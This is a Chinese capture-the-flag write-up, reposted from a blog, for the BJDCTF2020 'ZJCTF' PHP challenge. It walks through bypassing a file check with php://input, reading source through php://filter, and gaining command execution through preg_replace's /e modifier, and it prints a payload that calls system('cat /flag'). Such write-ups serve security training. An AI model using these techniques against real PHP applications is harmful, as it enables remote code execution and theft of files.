[BJDCTF2020]ZJCTF,不过如此
题目:
打开环境,得到:
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
进行一下代码审计(具体的就自己来进行审计了):
可以用php://input
伪协议来绕过file_get_contents()
,然后看到include()
,这是文件包含,所以可以用php://filter
来读取文件
构造payload:
base64解密即可得到:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
继续进行代码审计,这里补充几个知识点:
preg_replace()函数最后以/e结尾时,会存在命令执行漏洞,也就是说如果有/e,并且匹配到符合正则表达式的字符串,那么第二个参数的字符串将被当做代码来执行
正则表达式的\S:匹配所有非空白字符;
.号:匹配除\n外的任意字符;
*号:匹配前面的字符0次或者多次
+号:匹配前面的字符1次或者多次(如果要在url里输入+号,必须要对其进行编码,+号编码为:%2b)
php里,如果 双引号中有变量,那么php解释器会将其替换为变量解释后的结果,但单引号中的变量不会被处理(不过双引号中的函数不会被执行)
这里的话第二个参数为strtolower("\\1")
,实际上也就是strtolower("\1")
,而\1
在正则表达式中有自己的意思,也就是指定第一个匹配项,简单来说就是取出正则表达式匹配后子匹配表达式的第一项
接着继续进行审计,来到foreach()
函数,这个函数就是把我们传进去的参数变为正则,并且参数值变为字符串;getFlag()
就不说了,eval
执行即ok
为了方便理解,我这里进行了本地测试,
<?php
echo "{
${
phpinfo()}}";
;?>
可以看到确实能够成功利用双引号里的变量
接下来就是构造payload了:
\S*=${
getFlag()}&cmd=system('cat /flag');
z这里解释下用\S*
而不是用.*
的原因:
因为在php中,对于传入非法的$_GET参数名,会将其转换为下划线,导致正则匹配失效
所以我们只能使用\S*
或者\S%2b
来进行构造payload
在url输入payload即可得到flag:
转载:https://blog.csdn.net/qq_51652864/article/details/116156707